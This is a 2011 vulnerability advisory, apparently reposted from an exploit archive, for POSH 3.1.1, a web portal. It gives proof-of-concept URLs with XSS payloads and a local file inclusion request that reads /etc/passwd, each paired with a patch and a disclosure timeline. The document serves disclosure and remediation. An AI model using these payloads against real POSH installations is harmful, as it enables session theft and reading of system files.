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POSH Multiple Vulnerabilities
# Exploit Title: POSH <= 3.1.1 Multiple Vulnerabilities # Date: 10/10/2011 # Author: CrashFr # Software Link: http://sourceforge.net/projects/posh/ # Version: 3.1.1 # Tested on: Linux # //----- Advisory Program : POSH 3.1.1 and prior Vendor : www.portaneo.com Homepage : http://sourceforge.net/projects/posh/ Discovery : 2011/09/19 Author Contacted : 2011/09/20 Found by : CrashFr This Advisory : CrashFr //----- Application description POSH (Portaneo Open Source Homepage) is a personalizable interface (Netvibes, iGoogle) that can be used in a web application or educational / enterprise intranet context. Enterprise version adds social network, notebooks and search feature. //----- Description of vulnerability Local File Inclusion, Cross-Site Scripting (XSS) and Information Disclosure vulnerabilities were identified within POSH version 3.1.1 //----- Proof Of Concept --- Information disclosure --- - http://localhost/posh/portal/login.php?lang=fr-en - Vulnerability at includes/sessions.inc.php Replace: if ( preg_match( '/^[a-z]{2}$/', $_GET["lang"] ) || preg_match( '/^[a-z]{2}\-[a-z]{2}$/', $_GET["lang"] )) { $_SESSION['lang'] = $_GET["lang"]; By: if ((preg_match( '/^[a-z]{2}$/', $_GET["lang"] ) || preg_match( '/^[a-z]{2}\-[a-z]{2}$/', $_GET["lang"] )) && is_file('../l10n/'.$_GET["lang"].'/lang.php')) { $_SESSION['lang'] = $_GET["lang"]; --- XSS --- - http://localhost/posh/portal/login.php?message=XSS%20Catched%20!%22%29%29;alert%28%22XSS%22%29;// - Vulnerability at: templates/default/login.php line 42 Replace: if ($message!='') echo '<font color="#ff0000"><script type="text/javascript">document.write(lg("'.$message.'"));</script></font><br /><br />'; By: if ($message!='') echo '<font color="#ff0000"><script type="text/javascript">document.write(lg("'.htmlspecialchars($message).'"));</script></font><br /><br />'; - http://localhost/posh/admin/login.php?extid=ok%22%3E%3Cscript%3Ealert%28%27XSS%27%29;%3C/script%3E - Vulnerability at: templates/default/login_adminsimplified.php line 93 Replace: <input type="hidden" name="extid" maxlength="16" value="<?php echo $extid; ?>" class="thinbox" /> By: <input type="hidden" name="extid" maxlength="16" value="<?php if(is_int($extid)){ echo $extid; } ?>" class="thinbox" /> - http://localhost/posh/admin/index.php?extid=1%29;alert%28%27XSS%27 - Vulnerability at: templates/default/index_adminsimplified.php line 67 and 70 Replace: $p.admin.widgets.loadModExtId(<?php echo $extid; ?>); By: $p.admin.widgets.loadModExtId(<?php if(is_int($extid)){ echo $extid; } ?>); Replace: $p.admin.widgets.refreshIcons(icon,<?php echo $extid; ?>); By: $p.admin.widgets.refreshIcons(icon,<?php if(is_int($extid)){ echo $extid; } ?>); --- Local File Inclusion --- - http://localhost/posh/portal/scr_changelang.php => POST lang=../../../../../../etc/passwd%00 POST http://localhost/posh/portal/scr_changelang.php HTTP/1.1 lang=../../../../../../../../../../../../../../../../etc/passwd%00 - Call http://localhost/posh/portal/moduleff.php for example to see the result (a lot of page use __LANG to include lang file) - Vulnerability at portal/scr_changelang.php line 67 Replace: $_SESSION['lang']=$lang; By: if ((preg_match( '/^[a-z]{2}$/', $_GET["lang"] ) || preg_match( '/^[a-z]{2}\-[a-z]{2}$/', $_GET["lang"] )) && is_file('../l10n/'.$_GET["lang"].'/lang.php')) { $_SESSION['lang']=$lang; } //----- Solution Apply patchs Upgrade POSH to 3.1.2 //----- Vulnerability Timeline 2011-09-20 - Reported to vendor 2011-09-21 - Vendor Reply 2011-09-25 - Vendor released POSH 3.1.2 2011-10-10 - Vulnerability Disclosed # 0day.today [2024-07-07] #